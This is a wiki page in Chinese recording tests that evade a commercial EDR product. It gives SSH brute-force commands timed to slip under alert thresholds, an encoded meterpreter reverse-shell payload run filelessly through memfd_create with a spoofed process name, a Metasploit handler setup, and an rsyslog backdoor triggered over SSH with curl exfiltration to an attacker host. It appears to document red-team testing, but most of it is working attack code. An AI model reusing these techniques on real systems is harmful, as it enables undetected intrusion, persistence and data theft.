Skip to content

某EDR测试记录

Coco edited this page Sep 21, 2022 · 1 revision

1. 暴力破解

# 多线程下暴力破解测试

  • 测试命令: cube crack -s <Victim IP> -x ssh
  • 测试结果: 瞬间告警

# 单线程下延迟暴力破解(每次破解间隔5秒)

  • 测试命令: cube crack -s <Victim IP> -x ssh --delay 5
  • 测试结果: 等待破解大概50次密码的时候告警

# 单线程下延迟暴力破解(每次破解间隔10秒)

  • 测试命令: cube crack -s <Victim IP> -x ssh --delay 10
  • 测试结果: 等待破解大概50次密码的时候告警

# 单线程下延迟暴力破解(每次破解间隔15秒)

  • 测试命令: cube crack -s <Victim IP> -x ssh --delay 15
  • 测试结果: 跑一段时间之后告警:使用系统不存在的账号达到指定次数

暴力破解结论

EDR爆破告警模块至少包含三条策略:

  • 短时间内大量爆破告警
  • 长时间内密码错误超过50次告警,据推测大概是10分钟,实际测试当间隔11秒(10*60/50)的时候不会触发告警(因为爆破也消耗了时间)
  • 不存在的账号爆破10次告警

2. 反弹shell绕过

./msfvenom -p linux/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 1 LHOST=<Attack IP> LPORT=9999 -f elf > /tmp/test
  1. 使用go-bindata打包elf文件: ./go-bindata ./test 得到bindata.go

image

  1. 加入运行代码
const (
    mfdCloexec  = 0x0001 // 注意这个syscall 只有 3.17 之后的内核才支持,现在大部分的机器都支持了。
    memfdCreate = 319
)
func main() {
 
    data, err := Asset("test")
    if err != nil {
        // Asset was not found.
        fmt.Println("read test file content error!")
    }
    filename := ""
 
    fd, _, _ := syscall.Syscall(memfdCreate, uintptr(unsafe.Pointer(&filename)), uintptr(mfdCloexec), 0)
 
    _, _ = syscall.Write(int(fd), data)
    displayName := "/bin/bash"
 
    fdPath := fmt.Sprintf("/proc/self/fd/%d", fd)
    _ = syscall.Exec(fdPath, []string{displayName}, nil)
 
}
  1. 使用go编译为Linux平台的ELF文件,上传到受害主机运行文件,同时攻击端MSF监听:
use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp 
set encoder x86/shikata_ga_nai 
set lhost <Attack IP>
set lport 9999 
set exitonsession false 
run -j

3. 后门绕过

echo -e '#!/bin/sh\nsh -c "$1"'>/bin/atg
chmod 755 /bin/atg
 
echo "auth.*,regex, abcd  ^/bin/atg" > /etc/rsyslog.d/README.conf
 
重启生效(Centos用下面的systemctl):
/etc/init.d/rsyslog restart
systemctl restart rsyslog

后门触发echo "';id>/tmp/rsyslogd.owned;'"|socat STDIO TCP4:<Victim>:22

后门效果:执行id命令之后写入到 /tmp/rsyslogd.owned

因为执行完命令之后没有命令回显,所以可以加上curl把结果上传到远程服务器:

echo "';curl -F "data=@/tmp/rsyslogd.owned" <attack>:1337;'"|socat STDIO TCP4:<victim>:22